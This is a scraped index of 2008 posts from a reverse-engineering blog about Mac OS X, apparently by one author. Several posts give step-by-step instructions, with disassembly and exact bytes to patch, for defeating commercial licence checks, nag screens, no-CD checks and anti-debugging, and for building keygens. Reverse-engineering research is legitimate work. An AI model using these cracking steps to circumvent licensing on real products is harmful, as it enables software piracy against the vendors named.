Leopard support you need to edit the .c file and change the define. I’m still searching for a better way to detect Leopard or Tiger in XCode. Maybe a Makefile flag. Suggestions?\nThe Info.plist file needs to be edited and key com.apple.kernel changed to 9.5.0 (for Leopard 10.5.5). Something to improve here too.\nCurrently I can’t get the name of the process while running on Leopard. Had no time to investigate why there’s no info from the structure while the same thing works on Tiger. To be fixed :-).\nSo grab the source here: onyx-the-black-cat.v0.2.src.tgz\nIf you find any problems or have any suggestions or code improvements feel free to post a comment or mail me.\nfG!\n","permalink":"https://reverse.put.as/2008/11/16/onyx-the-black-cat-v02/","summary":"Here it is with support for Leopard and extended attributes. All calls related to extended attributes are traced and dumped to /var/log/system.log (I find it more useful than fs_usage for this specific calls).\nCheck the .c file for options related to this.\nFor Leopard support you need to edit the .c file and change the define. I’m still searching for a better way to detect Leopard or Tiger in XCode. Maybe a Makefile flag.","title":"Onyx The Black Cat v0.2"},{"content":"I started working on Remote Buddy (http://www.iospirit.com) to test my module Onyx The Black Cat.\nSome encrypted files are stored in the hard disk (fs_usage is your friend) but even after deleting all of them, the program still had expired trial. GDB to the rescue!\nAfter finding the correct \u0026ldquo;entrypoint\u0026rdquo; (I call entrypoint to the correct address which helps you starting to understand or find what you are interested in) and reading lots of code (the code is \u0026ldquo;unoptimized\u0026rdquo;, probably to make our reversing job boring) I finally found the interesting call, getxattr. I didn’t paid much attention to this call in the middle of so many others on fs_usage.\nFrom getxattr man page:\n“Extended attributes extend the basic attributes of files and directories in the file system. They are stored as name:data pairs associated with file system objects (files, directories, symlinks, etc).”\nRemote Buddy is storing encrypted meta data information at your home directory (/Users/username)! I knew this trick from rootkits but was kinda surprised to see it used here (a trick which makes sense in copy protection context).\nSince there is no native Mac OS X utility to read or write these attributes, I started searching for one, but the interesting one (exttra.zip) was no longer available. Since there is a perl module to read extended attributes I started coding my own util to read and write the extended attributes.\nIt is available here: xattr.pl.v0.2.tgz\nUpdate to version 0.3 here: xattr.pl.v0.3.tgz\nAdded support to remove attributes and some small fixes.\nDiegus83 directed me to Rixstep website, which has a similar util (and a lot more!).\nI’m still working on reversing Remote Buddy so when it’s finished it will feature more details about this. If you want to reverse it yourself, the fun starts at [CopyCore init]. Don’t be afraid of all those _rand. Just skip them. Ah, Onyx the Black cat module will be very useful here, else you will need to patch some calls 😉.\nfG!\n","permalink":"https://reverse.put.as/2008/11/10/extended-attributes-in-mac-os-x-and-remote-buddy/","summary":"I started working on Remote Buddy (http://www.iospirit.com) to test my module Onyx The Black Cat.\nSome encrypted files are stored in the hard disk (fs_usage is your friend) but even after deleting all of them, the program still had expired trial. GDB to the rescue!\nAfter finding the correct \u0026ldquo;entrypoint\u0026rdquo; (I call entrypoint to the correct address which helps you starting to understand or find what you are interested in) and reading lots of code (the code is \u0026ldquo;unoptimized\u0026rdquo;, probably to make our reversing job boring) I finally found the interesting call, getxattr.","title":"Extended attributes in Mac OS X and Remote Buddy"},{"content":"Here it is my crazy idea to create an anti anti-debug kernel module so reversing efforts get a little easier and faster against \u0026ldquo;hostile\u0026rdquo; code.\nThis module will protect you against the classic PT_DENY_ATTACH trick and the sysctl debugger detection trick http://developer.apple.com/qa/qa2004/qa1361.html.\nFor now it’s only compatible with Mac OS X Tiger v10.4.11. Soon I will make it compatible with Leopard.\nGrab the binaries here: onyx-the-black-cat.kext.v0.1.tgz.\nThis is a small program to test the sysctl trick: antidebug.c.\nXCode Project source code here: onyx-the-black-cat.src.tgz.\nMore updates very soon. Meanwhile enjoy this :-).\nfG!\nSome good reading:\nAttacking FreeBSD with Kernel Modules by pragmatic / THC \u0026lt;http://packetstormsecurity.org/papers/unix/bsdkern.htm\u0026gt;\nFun and Games with FreeBSD Kernel Modules by Stephanie Wehner \u0026lt;http://www.r4k.net/mod/fbsdfun.html\u0026gt;\nDesigning BSD Rootkits: An Introduction to Kernel Hacking by Joseph Kong, No Starch Press\n","permalink":"https://reverse.put.as/2008/10/30/onyx-the-black-cat-v01-anti-anti-debug-kernel-module/","summary":"Here it is my crazy idea to create an anti anti-debug kernel module so reversing efforts get a little easier and faster against \u0026ldquo;hostile\u0026rdquo; code.\nThis module will protect you against the classic PT_DENY_ATTACH trick and the sysctl debugger detection trick http://developer.apple.com/qa/qa2004/qa1361.html.\nFor now it’s only compatible with Mac OS X Tiger v10.4.11. Soon I will make it compatible with Leopard.\nGrab the binaries here: onyx-the-black-cat.kext.v0.1.tgz.\nThis is a small program to test the sysctl trick: antidebug.","title":"Onyx The Black Cat v0.1 – Anti Anti-debug kernel module"},{"content":"Excellent book! Recommended if you are into Reverse Engineering and not only IDA specific.\nWell written with lots of examples. Really enjoyed it. Well worth the money (and even cheaper if you use Amazon Market Place).\nI’m back with huge amounts of work so my reversing efforts are on a halt.\nLet’s see if things get calm again so I can try some ideas :-).\n","permalink":"https://reverse.put.as/2008/10/17/the-ida-pro-book-the-unofficial-guide-to-the-worlds-most-popular-disassembler/","summary":"Excellent book! Recommended if you are into Reverse Engineering and not only IDA specific.\nWell written with lots of examples. Really enjoyed it. Well worth the money (and even cheaper if you use Amazon Market Place).\nI’m back with huge amounts of work so my reversing efforts are on a halt.\nLet’s see if things get calm again so I can try some ideas :-).","title":"The IDA Pro Book: The Unofficial Guide to the World’s Most Popular Disassembler"},{"content":"Hello,\nIf you want to have some fun and maybe improve your security/reversing skills, you might try this site http://www.dareyourmind.net. It has some nice challenges in different fields (reversing is only for Windows, but hey you should be able to reverse anything!).\nHave fun !\n","permalink":"https://reverse.put.as/2008/09/25/hacker-challenge/","summary":"Hello,\nIf you want to have some fun and maybe improve your security/reversing skills, you might try this site http://www.dareyourmind.net. It has some nice challenges in different fields (reversing is only for Windows, but hey you should be able to reverse anything!).\nHave fun !","title":"\"Hacker\" Challenge"},{"content":"Beowulf pointed out to PTHPasteboard application protection looked very similar to You Control Desktops. This got me curious and so I started messing around with it.\nFacts:\nLicense file isn’t crypted like You Control Desktops Binaries don’t have integrity checks like You Control Desktops public.pem has a checksum like You Control Desktops (SHA1 is used) Function names are obfuscated like You Control Desktop Demo is requested via web, altough HTTPS is used instead HTTP Like You Control Desktops, there is a binary named Common Since protection is very similar we can try to conclude about the existence of a generic protector! Need to find it’s name 😄.\nYou Control Desktops tutorial can be used to beat PTHPasteboard protection. You will need to use the sections about ptrace protection and replacing public/private keys.\nTo create the keygen we need to find what data is being used to create the checksum located at licence file. Since protections are very similar I used a bit of zen-cracking and searched for EVP_VerifyFinal at the PTHCommon binary. There are a few hits but the most interesting one is located at 0x3001eaf4 with a call to a function named PEM_read_bio_RSAPublicKey (this is very similar to You Control, so I assumed I’m in the right spot). If we go back a few lines, we can find a call to EVP_DigestUpdate at 0x3001ea46. We are interested to know what information is going to be digested so breakpoint at 0x3001ea39 and dump the ESI register.\nWe will get something like:\ngdb $ x/s $edi 0xbfffe233: \u0026#34;Pasteboard.4.XXXXXXXXXXXX.YYYYYYYYYYYY.2008-01-01T00:00:00Z\u0026#34; Where XXX is the MAC address and YYY the serial number.\nSince there are no more DigestUpdates, we can assume this is the only information being hashed into the checksum. Now we can create the keygen 😃.\nTo get all this, launch the PTHPasteboard program and attach GDB to it (after patching all those ptrace calls). Then just try to use any of the PRO features and GDB will hit (after breakpoints are set!).\nThe only detail missing is about the public key format. If you check OpenSSL documentation, you will see that function PEM_read_bio_RSAPublicKey uses public key in PKCS#1 format. If you follow You Control tutorial you will get a X509 public key format. I tried to have OpenSSL to generate the public key in PKCS#1 format but that seems impossible. The following link http://marc.info/?l=openssl-users\u0026amp;m=96497982824757\u0026amp;w=2 refers to someone with the same problem. I downloaded the latest version of OpenSSL, modified apps/genrsa.c and added the code referenced in that link after the PEM_write_bio_RSAPrivateKey if code. Compiled OpenSSL and then used this modified version to get the PKCS#1 public key. Replace the original public.pem file with this new public key and change the signatures following You Control Tutorial.\nKeygen source is available: keygen-pth.working.c\nPTHPasteboard website is http://pth.com/products/pthpasteboard/\nIf you understand You Control Desktops tutorial you should be able to successfully beat this one with the tips I gave.\nHave fun!\nP.S.:\nThe public.pem to be replaced is located at: ~/Library/PreferencePanes/PTHPasteboard.prefPane/Contents/Resources/PTHPasteboard.app/Contents/Resources\nUpdate:\nThis will only work on Tiger because the binaries are protected by the new code signing feature of Leopard. It’s a bit stupid having checksum protection on Leopard and none for Tiger, since it runs on both! One more reason to install Leopard 😄. Thanks to Beowulf for having found this difference.\n","permalink":"https://reverse.put.as/2008/09/10/pthpasteboard-440-generic-mac-os-x-protector-is-found/","summary":"Beowulf pointed out to PTHPasteboard application protection looked very similar to You Control Desktops. This got me curious and so I started messing around with it.\nFacts:\nLicense file isn’t crypted like You Control Desktops Binaries don’t have integrity checks like You Control Desktops public.pem has a checksum like You Control Desktops (SHA1 is used) Function names are obfuscated like You Control Desktop Demo is requested via web, altough HTTPS is used instead HTTP Like You Control Desktops, there is a binary named Common Since protection is very similar we can try to conclude about the existence of a generic protector!","title":"PTHPasteboard 4.4.0! Generic Mac OS X protector is found?"},{"content":"A peak of work and vacations results in no reversing for the past weeks :-(. I had some advances on Little Snitch and I will publish them soon.\nBlackhat USA 2008 had some interesting stuff related to Mac OS X. And older paper related to DTrace (I really need to install Leopard to start messing around with DTrace) and another about Mac OS X Rootkits (very interesting!):\nRE:Trace – Applied Reverse Engineering on OS X\niRK – Crafting OS X Kernel Rootkits\nThe archive page is located at https://www.blackhat.com/html/bh-usa-08/bh-usa-08-archive.html. Some nice reads if you are interested in security.\nI changed the blog theme and I’m starting to update the links page with some good stuff.\nHave fun!\n","permalink":"https://reverse.put.as/2008/09/08/news/","summary":"A peak of work and vacations results in no reversing for the past weeks :-(. I had some advances on Little Snitch and I will publish them soon.\nBlackhat USA 2008 had some interesting stuff related to Mac OS X. And older paper related to DTrace (I really need to install Leopard to start messing around with DTrace) and another about Mac OS X Rootkits (very interesting!):\nRE:Trace – Applied Reverse Engineering on OS X","title":"News..."},{"content":"Little Snitch is an awesome target to learn tons of stuff about Mac OS X. It’s a very worthy challenge and I’m loving it\u0026hellip; I gave up on it for a while to read some stuff about IPC and mach messaging since I have strong clues it’s being used for Little Snitch components communication. Little Snitch uses threads and other stuff to make reversing much harder. One of my various reversing threads was to try to beat the 3 hour limit but I couldn’t find a good entry point to start tracing the network filter initialization. Tracing the mouse/keyboard events is a solution but it’s totally crazy because too much code must be traced\u0026hellip;\nOne particular detail that puzzled me since the beginning was the fact that NIB resources were only possible to read into Interface Builder for Little Snitch UI Agent.app. The other Little Snitch programs gave an error while trying to load them. I had some interest in loading the NIB files because I read some tutorial that used Interface Builder Inspector tool to find the class associated to the button/form. Until today I never explored why I couldn’t load them. Today in one of those out of the box moments, I started exploring if for example the files were crypted. A crude comparison between a \u0026ldquo;good\u0026rdquo; NIB and a \u0026ldquo;bad\u0026rdquo; NIB hinted me of no such thing. What was different was the number of files each NIB had (I had already noted this in the past), the \u0026ldquo;good\u0026rdquo; had 3 files (classes.nib, info.nib, keyedobjects.nib) and the \u0026ldquo;bad\u0026rdquo; just 1 file (keyedobjects.nib). Both classes.nib and info.nib are text files.\nTime to start messing around with it, so my first attempt was to create the classes.nib for the \u0026ldquo;bad\u0026rdquo; one. I just copied classes.nib from the \u0026ldquo;good\u0026rdquo; and tried to load the \u0026ldquo;bad\u0026rdquo; into Interface Builder\u0026hellip; Voila, it worked! Now I can read the \u0026ldquo;bad\u0026rdquo; NIB file and I can see the following action for the start button, toggleNetworkFilterStatus. Searching Little Snitch Configuration disassembly and I can find that class 😄.\nThe previous piece of code calls networkFilterStatus function where we can see this following code:\n00009df7 e849d30200 calll 0x00037145 -[(%esp,1) setValue:forKey:] 00009dfc 89f8 movl %edi,%eax 00009dfe 84c0 testb %al,%al 00009e00 743e je 0x00009e40 - show demo alert ? if yes, don\u0026#39;t jump 00009e02 e835feffff calll 0x00009c3c 00009e07 85c0 testl %eax,%eax 00009e09 7535 jne 0x00009e40 00009e0b c744241000000000 movl $0x00000000,0x10(%esp,1) 00009e13 c744241400000000 movl $0x00000000,0x14(%esp,1) 00009e1b c744240c00000000 movl $0x00000000,0x0c(%esp,1) 00009e23 a1b4960300 movl 0x000396b4,%eax _runDemoAlert 00009e28 89442408 movl %eax,0x08(%esp,1) 00009e2c a134950300 movl 0x00039534,%eax performSelector:withObject:afterDelay: Attaching GDB to Little Snitch Configuration process and changing that je into a jmp we get no demo alert! The description for that performSelector class is:\nperformSelector:withObject:afterDelay\nInvokes a method of the receiver on the current thread using the default mode after a delay.\nFor now there’s no much interest in tracing this since bypassing this doesn’t influence network filter starting. What follows is to trace the 3 hour timer and the start message to the network driver. At least I think I have a better entry point, nevertheless I found how to fix those NIB files (undocumented feature? bug? Little Snitch author made it on purpose for sure).\nUpdate:\nBob left a link for a blog entry reporting the same problem. Available at http://yamacdev.blogspot.com/2007/01/cant-touch-nibs.html\nSomeone found it first! 😄\n","permalink":"https://reverse.put.as/2008/08/12/little-snitch-continued-or-the-broken-nib-files/","summary":"Little Snitch is an awesome target to learn tons of stuff about Mac OS X. It’s a very worthy challenge and I’m loving it\u0026hellip; I gave up on it for a while to read some stuff about IPC and mach messaging since I have strong clues it’s being used for Little Snitch components communication. Little Snitch uses threads and other stuff to make reversing much harder. One of my various reversing threads was to try to beat the 3 hour limit but I couldn’t find a good entry point to start tracing the network filter initialization.","title":"Little Snitch continued or the broken nib files!"},{"content":"Landon Fuller http://landonf.bikemonkey.org/code/macosx created a kernel module to bypass the PTRACE_DENY_ATTACH \u0026ldquo;anti-debug\u0026rdquo; feature of Mac OS X. For the Tiger version he used a deprecated API, removed on Leopard. For Leopard he re-routes the ptrace syscall to his own version by patching the syscall table. Since Leopard version is more interesting because we can use it to re-route other interesting syscalls (for cases where DYLD_INSERT_LIBRARIES trick isn’t interesting to use), I fixed his great code to be used with Tiger.\nI added the open() syscall, and if you want to use it you should uncomment the code for it (check the source code, it’s there).\nIf you are using other version than 10.4.11, you should edit the Info.plist file and replace the com.apple.kernel string with the correct one (hint: use uname -a to get it).\nGrab the code: pt_deny_attach-201-tiger.tar.gz\nAs usual, have fun :-)\n","permalink":"https://reverse.put.as/2008/08/06/kernel-module-for-syscall-interception-and-fixing-ptrace/","summary":"Landon Fuller http://landonf.bikemonkey.org/code/macosx created a kernel module to bypass the PTRACE_DENY_ATTACH \u0026ldquo;anti-debug\u0026rdquo; feature of Mac OS X. For the Tiger version he used a deprecated API, removed on Leopard. For Leopard he re-routes the ptrace syscall to his own version by patching the syscall table. Since Leopard version is more interesting because we can use it to re-route other interesting syscalls (for cases where DYLD_INSERT_LIBRARIES trick isn’t interesting to use), I fixed his great code to be used with Tiger.","title":"Kernel module for syscall interception and fixing ptrace"},{"content":"Nozio NO CD patch is only for original version (1.0.0) so I did a little of binary diffing of his patch/a bit of debugging and found where the protection is on version 1.0.4.\nThe following code makes the cd check:\n00004f22 e8e9a80000 calll 0x0000f810 - call the cd check 00004f27 84c0 testb %al,%al 00004f29 7405 je 0x00004f30 - jump if no cd is present So the patching is very easy, just NOP that jump if equal call and that’s it. Quick \u0026amp; dirty !\nHave fun !\n","permalink":"https://reverse.put.as/2008/08/02/mac-os-x-age-of-empires-iii-104-no-cd-patch/","summary":"Nozio NO CD patch is only for original version (1.0.0) so I did a little of binary diffing of his patch/a bit of debugging and found where the protection is on version 1.0.4.\nThe following code makes the cd check:\n00004f22 e8e9a80000 calll 0x0000f810 - call the cd check 00004f27 84c0 testb %al,%al 00004f29 7405 je 0x00004f30 - jump if no cd is present So the patching is very easy, just NOP that jump if equal call and that’s it.","title":"Mac OS X Age of Empires III 1.0.4 NO CD patch"},{"content":"While trying to reverse Little Snitch I needed to understand the concept of mach ports (since I suspect it’s used for communication between the userland programs and the kernel extension) and found some nice articles and code about code injection in Mac OS X.\nThey are:\nMach Star (old but interesting): https://github.com/rentzsch/mach_star\nMach Inject and Mach Override (works for Intel!): http://guiheneuf.org/mach%20inject%20for%20intel.html\nAbusing Mach on Mac OS X: http://www.uninformed.org/?v=4\u0026amp;a=3\u0026amp;t=sumry\nhttp://guiheneuf.org/cross-task%20control%20on%20intel.html to enable the needed functions since they were made inactive since 10.4.4 release.\nHave fun studying :-)\n","permalink":"https://reverse.put.as/2008/07/03/mac-os-x-code-injection/","summary":"While trying to reverse Little Snitch I needed to understand the concept of mach ports (since I suspect it’s used for communication between the userland programs and the kernel extension) and found some nice articles and code about code injection in Mac OS X.\nThey are:\nMach Star (old but interesting): https://github.com/rentzsch/mach_star\nMach Inject and Mach Override (works for Intel!): http://guiheneuf.org/mach%20inject%20for%20intel.html\nAbusing Mach on Mac OS X: http://www.uninformed.org/?v=4\u0026amp;a=3\u0026amp;t=sumry\nhttp://guiheneuf.org/cross-task%20control%20on%20intel.html to enable the needed functions since they were made inactive since 10.","title":"Mac OS X Code injection"},{"content":"Little Snitch is a program for which I was very curious to hack around and try to beat it’s protection. I had a feeling it would be a very nice challenge and I can say it didn’t disappointed me!\nThe target is version 2.0.3, running on Tiger 10.4.11.\nFirst protection to be defeated was the \u0026ldquo;classical\u0026rdquo; PTRACE_DENY_ATTACH. You Control Desktops explains and has links to this protection. If we try to attach gdb to one Little Snitch process (it has at least 3) we get a segmentation fault, so this should be PTRACE_DENY_ATTACH \u0026ldquo;protection\u0026rdquo;. Use otx or IDA to disassemble the binaries and search for ptrace calls. Yes, it’s there! Nop those calls and off we go!\nNow the real interesting stuff\u0026hellip;\nAfter patching the PTRACE_DENY_ATTACH trick, we still can’t attach gdb to processes. We get a misterious EPERM error due to lack of permissions?!?!? Trying to attach gdb running as root gets the same result, so this must be another trick in the bag\u0026hellip; To test some ideas, I tried to unload the kernel extension (Little snitch installs a kernel extension) but it was protected against unloading (which makes sense because a program could unload it and off it goes our firewall protection).\nMy attack point was trying to understand how could the extension be protected against unloading… After some web searching I found an interesting Apple article about KAUTH http://developer.apple.com/technotes/tn2005/tn2127.html.\nThis talks about a kernel authorization subsystem. It supports various authorizations scopes, where the most interesting and which seems to fit into our problem is:\nKAUTH_PROCESS_CANTRACE — Authorizes whether the current process can trace the target process. arg0 (of type proc_t) is the process being traced. arg1 (of type (int *)) is a pointer to an an errno-style error code; if the listener denies the request, it must set this value to a non-zero value.\nKauth uses SCOPES to define an area of interest for authorizations. For example, the authorization we are looking at is located in Process Scope. Each scope has actions, for example KAUTH_PROCESS_CANTRACE. A listener is who makes the authorization decision for a request. You can create or use a default listener. After that, you register the listener into the scope of interest.\nResuming, it should be something like:\nCreate Listener (make decisions for actions) -\u0026gt; Register Listener\nYou can find demo code at http://developer.apple.com/samplecode/KauthORama/listing1.html.\nTo register a listener you use function kauth_listen_scope so we should look first for this one.\nDisassemble the Little Snitch kernel extension and look for function calls (extension is located at /System/Library/Extensions) There are two calls: First one:\n00006D40 55 push ebp 00006D41 89 E5 mov ebp, esp 00006D43 83 EC 18 sub esp, 18h 00006D46 C7 44 24 08 00 00+ mov [esp+18h+var_10], 0 00006D4E C7 44 24 04 28 00+ mov [esp+18h+var_14], 28h ; \u0026#39;(\u0026#39; 00006D56 C7 04 24 BC 00 01+ mov [esp+18h+var_18], offset unk_100BC 00006D5D E8 1E E9 FF FF call sub_5680 00006D62 C7 44 24 08 4B 00+ mov [esp+18h+var_10], 4Bh ; \u0026#39;K\u0026#39; 00006D6A C7 44 24 04 00 02+ mov [esp+18h+var_14], 200h 00006D72 C7 04 24 04 FE 00+ mov [esp+18h+var_18], offset off_FE04 00006D79 E8 12 D2 FF FF call sub_3F90 00006D7E C7 44 24 08 00 00+ mov [esp+18h+var_10], 0 00006D86 C7 44 24 04 F0 6B+ mov [esp+18h+var_14], offset sub_6BF0 00006D8E C7 04 24 88 DA 00+ mov [esp+18h+var_18], offset aCom_apple_kaut ; \u0026#34;com.apple.kauth.fileop\u0026#34; \u0026lt;- SCOPE 00006D95 A3 C8 00 01 00 mov ds:dword_100C8, eax 00006D9A E8 D1 29 02 00 call near ptr _kauth_listen_scope 00006D9F A3 C4 00 01 00 mov ds:dword_100C4, eax 00006DA4 C9 leave 00006DA5 C3 retn Second one:\n0000BC40 55 push ebp 0000BC41 89 E5 mov ebp, esp 0000BC43 83 EC 18 sub esp, 18h 0000BC46 E8 05 D5 01 00 call near ptr _IOLockAlloc 0000BC4B C7 44 24 08 4B 00+ mov [esp+18h+var_10], 4Bh ; \u0026#39;K\u0026#39; 0000BC53 C7 44 24 04 08 00+ mov [esp+18h+var_14], 8 0000BC5B C7 04 24 48 FE 00+ mov [esp+18h+var_18], offset off_FE48 0000BC62 A3 20 91 02 00 mov ds:dword_29120, eax 0000BC67 E8 24 83 FF FF call sub_3F90 0000BC6C C7 44 24 08 00 00+ mov [esp+18h+var_10], 0 ; idata 0000BC74 C7 44 24 04 50 BB+ mov [esp+18h+var_14], offset sub_BB50 ; \u0026lt;- listener callback 0000BC7C C7 04 24 50 DE 00+ mov [esp+18h+var_18], offset aCom_apple_ka_0 ; \u0026#34;com.apple.kauth.process\u0026#34; \u0026lt;- SCOPE 0000BC83 A3 1C 91 02 00 mov ds:dword_2911C, eax 0000BC88 E8 E3 DA 01 00 call near ptr _kauth_listen_scope 0000BC8D A3 18 91 02 00 mov ds:dword_29118, eax 0000BC92 C9 leave 0000BC93 C3 retn The prototype for this function is:\nextern kauth_listener_t kauth_listen_scope( const char * identifier, kauth_scope_callback_t callback, void * idata ); Where the most interesting parameter is the callback because “callback is the address of your listener callback function”, meaning it’s the function making the decisions :-).\nYou can see the two scopes being used, the com.apple.kauth.fileop and com.apple.kauth.process. The process scope deals with processes operations and fileop with file operations. We are interested in the process operations.\nIDA identified the callback location so let’s see what is there.\n0000BB50 ; =============== S U B R O U T I N E ======================================= 0000BB50 0000BB50 ; Attributes: bp-based frame 0000BB50 0000BB50 sub_BB50 proc near ; DATA XREF: sub_BC40+34\u0019o 0000BB50 0000BB50 var_18 = dword ptr -18h \u0026lt;- local variable 0000BB50 arg_8 = dword ptr 10h \u0026lt;- action 0000BB50 arg_C = dword ptr 14h \u0026lt;- idata 0000BB50 arg_10 = dword ptr 18h \u0026lt;- credential 0000BB50 0000BB50 55 push ebp 0000BB51 89 E5 mov ebp, esp 0000BB53 53 push ebx 0000BB54 83 EC 14 sub esp, 14h 0000BB57 C7 04 24 14 91 02+ mov [esp+18h+var_18], offset dword_29114 0000BB5E E8 45 D6 01 00 call near ptr _OSIncrementAtomic 0000BB63 A1 84 FE 00 00 mov eax, ds:dword_FE84 0000BB68 85 C0 test eax, eax 0000BB6A 75 06 jnz short loc_BB72 ; change to jump and so give a always defer result ? 0000BB6C 83 7D 10 02 cmp [ebp+arg_8], 2 \u0026lt;- Compare Action in argument against 2. For this scope, value 2 action is KAUTH_PROCESS_CANTRACE, so this should be testing if action is trace attempt 0000BB70 74 1E jz short loc_BB90 \u0026lt;- if equal then process this action 0000BB72 0000BB72 loc_BB72: ; CODE XREF: sub_BB50+1Aj 0000BB72 ; sub_BB50+45j ... 0000BB72 BB 03 00 00 00 mov ebx, 3 ; default is to return KAUTH_RESULT_DEFER (3) 0000BB77 0000BB77 looc_BB77: ; CODE XREF: sub_BB50+6Cj 0000BB77 C7 04 24 14 91 02+ mov [esp+18h+var_18], offset dword_29114 0000BB7E E8 1D D6 01 00 call near ptr _OSDecrementAtomic 0000BB83 89 D8 mov eax, ebx 0000BB85 83 C4 14 add esp, 14h 0000BB88 5B pop ebx 0000BB89 C9 leave 0000BB8A C3 retn 0000BB8A ; --------------------------------------------------------------------------- 0000BB8B 90 90 90 90 90 align 10h 0000BB90 0000BB90 loc_BB90: ; CODE XREF: sub_BB50+20j 0000BB90 8B 45 14 mov eax, [ebp+arg_C] 0000BB93 85 C0 test eax, eax 0000BB95 74 DB jz short loc_BB72 0000BB97 8B 45 14 mov eax, [ebp+arg_C] 0000BB9A 89 04 24 mov [esp+18h+var_18], eax 0000BB9D E8 0A DC 01 00 call near ptr _proc_pid 0000BBA2 89 04 24 mov [esp+18h+var_18], eax 0000BBA5 E8 B6 FE FF FF call sub_BA60 0000BBAA 85 C0 test eax, eax 0000BBAC 74 C4 jz short loc_BB72 0000BBAE 8B 45 18 mov eax, [ebp+arg_10] 0000BBB1 BB 02 00 00 00 mov ebx, 2 ; \u0026lt;- KAUTH_RESULT_DENY (2) 0000BBB6 C7 00 01 00 00 00 mov dword ptr [eax], 1 ; \u0026lt;- EPERM (1) 0000BBBC EB B9 jmp short loc_BB77 0000BBBC sub_BB50 endp 0000BBBC If you check the KauthORama example, you can see the OSIncrementAtomic being used in the listeners routines. Let’s assume the author used this example to create his code. We should be in the right track.\nTo analyse this function we need to give a look to the include files (you need to install XCode and SDKs).\n// @ /usr/include/sys/errno.h: #define EPERM 1 /* Operation not permitted */ // @ /Developer/SDKs/MacOSX10.4u.sdk/System/Library/Frameworks/Kernel.framework/Headers/sys/kauth.h: #define KAUTH_PROCESS_CANTRACE 2 #define KAUTH_RESULT_ALLOW (1) #define KAUTH_RESULT_DENY (2) #define KAUTH_RESULT_DEFER (3) With these values we can try to understand what is going on (without kernel debugging, I can only do a dead listing attempt so I have to assume lots of stuff and cross fingers :-)).\nThe listener prototype is:\nstatic int MyListener( kauth_cred_t credential, void * idata, kauth_action_t action, \u0026lt;- Requested Action uintptr_t arg0, uintptr_t arg1, uintptr_t arg2, uintptr_t arg3 ); Checking the arguments passed to the function, we see the action KAUTH_PROCESS_CANTRACE being tested. The listener must return one of three possible results: ALLOW, DENY or DEFER.\nA request might go thru various listeners, but a single DENY from one listener is sufficient to DENY the request. If you check the demo code from the Technical Note, it returns DEFER as the default action. That makes some sense, because if we are not interested in processing that action, then we should let other listeners decide over it.\nThe logic for this piece of code could be something like this:\nif action eq KAUTH_PROCESS_CANTRACE then process_and_deny_action else defer_action To patch this, we just need to return always the default value. We can force the first JNZ or NOP the second JZ. I patched the first JNZ to JMP. Patch the kernel extension, reboot and try to attach to the process… Hurray, no more errors!\nAnother one bites the dust… This is a very interesting feature of Mac OS X but we were able to somewhat easily beat it due to the ability to understand what was happening by dead listing the code. If code was obfuscated in some way it would be much harder because not everyone has two Macs to do kernel debugging.\n","permalink":"https://reverse.put.as/2008/06/26/more-mac-os-x-anti-debugging/","summary":"Little Snitch is a program for which I was very curious to hack around and try to beat it’s protection. I had a feeling it would be a very nice challenge and I can say it didn’t disappointed me!\nThe target is version 2.0.3, running on Tiger 10.4.11.\nFirst protection to be defeated was the \u0026ldquo;classical\u0026rdquo; PTRACE_DENY_ATTACH. You Control Desktops explains and has links to this protection. If we try to attach gdb to one Little Snitch process (it has at least 3) we get a segmentation fault, so this should be PTRACE_DENY_ATTACH \u0026ldquo;protection\u0026rdquo;.","title":"More Mac OS X anti-debugging"},{"content":"I was looking for a Post-it like program for Mac OS X (I don’t like Stickies!) and found this nice one, Edgies (available at http://www.oneriver.jp/Edgies/index_e.html).\nIt has a very annoying register me protection which shows every few times you open/close a note.\nMy first attempt to bypass this was to go after the serial registration routine (it’s located at RegistrationManager framework) but it appears to be too long and complicated to be worth the trouble.\nNext obvious step was to go after the shareware message. Doing a grep for message Shareware Information and we land again at RegistrationManager framework at a nice function labeled showDemoDialogue.\nAfter disassembling the main program and searching for function references we reach to:\n000080c7 calll 0x0008f158 +[RegistrationManager sharedRegistrationManager] 000080cc movl 0x00091394,%edx registered 000080d2 movl %edx,0x04(%esp,1) 000080d6 movl %eax,(%esp,1) 000080d9 calll 0x0008f158 -[(%esp,1) registered] 000080de movb %al,(%ebx) 000080e0 testb %al,%al 000080e2 jne 0x00008134 \u0026lt;- CRACKME =) 000080e4 movl 0x0008a014,%eax 000080e9 cmpb $0x00,(%eax) 000080ec je 0x00008134 000080ee movl 0x000000f8(%esi),%eax (int)demoCount 000080f4 addl $0x01,%eax 000080f7 movl %eax,0x000000f8(%esi) (int)demoCount 000080fd cmpl $0x01,%eax 00008100 jbe 0x00008134 00008102 movl 0x00091398,%eax sharedRegistrationManager 00008107 movl %eax,0x04(%esp,1) 0000810b movl 0x00092668,%eax RegistrationManager 00008110 movl %eax,(%esp,1) 00008113 calll 0x0008f158 +[RegistrationManager sharedRegistrationManager] 00008118 movl 0x00091390,%edx showDemoDialogue 0000811e movl %edx,0x04(%esp,1) 00008122 movl %eax,(%esp,1) 00008125 calll 0x0008f158 -[(%esp,1) showDemoDialogue] 0000812a movl $0x00000000,0x000000f8(%esi) (int)demoCount 00008134 addl $0x10,%esp 00008137 popl %ebx 00008138 popl %esi 00008139 popl %ebp 0000813a ret So this is pretty obvious to understand and bypass. There is a call which seems to check if the program is registered or not, and if it’s not then it will display the nag message after a few counts. Easy way to bypass all this is to change that JNE into a JMP (75 to EB) at 0x80e2 address.\nPatch the main program, run it again and voila. No more nag 😄.\nThe whole protection goes down due to a single byte (too many protections are bypassed like this). I assumed that the serial routine is hard or long to analyse. I might be wrong since today I’m too lazy to check it, but why waste time on that if you can patch a single byte!\n","permalink":"https://reverse.put.as/2008/06/24/how-to-bypass-a-protection-with-a-single-byte/","summary":"I was looking for a Post-it like program for Mac OS X (I don’t like Stickies!) and found this nice one, Edgies (available at http://www.oneriver.jp/Edgies/index_e.html).\nIt has a very annoying register me protection which shows every few times you open/close a note.\nMy first attempt to bypass this was to go after the serial registration routine (it’s located at RegistrationManager framework) but it appears to be too long and complicated to be worth the trouble.","title":"How to bypass a protection with a single byte"},{"content":"This is my first Mac OS X reversing tutorial. Target is You Control Desktops, which revealed itself a very nice target to reverse.\nDownload the files below and I hope you learn something from it.\nThere’s no interest whatsoever in piracy, but only in learning and improving things. What you do with this information is YOUR responsability.\nThe keygen (and decrypt.c) make a nice example of OpenSSL API usage. Keygen is non working. It compiles and does everything, but it will generate wrong checksums due to a small error created on purpose. You will need to fix it if you really want it to work 😃.\nfG!\nAvailable 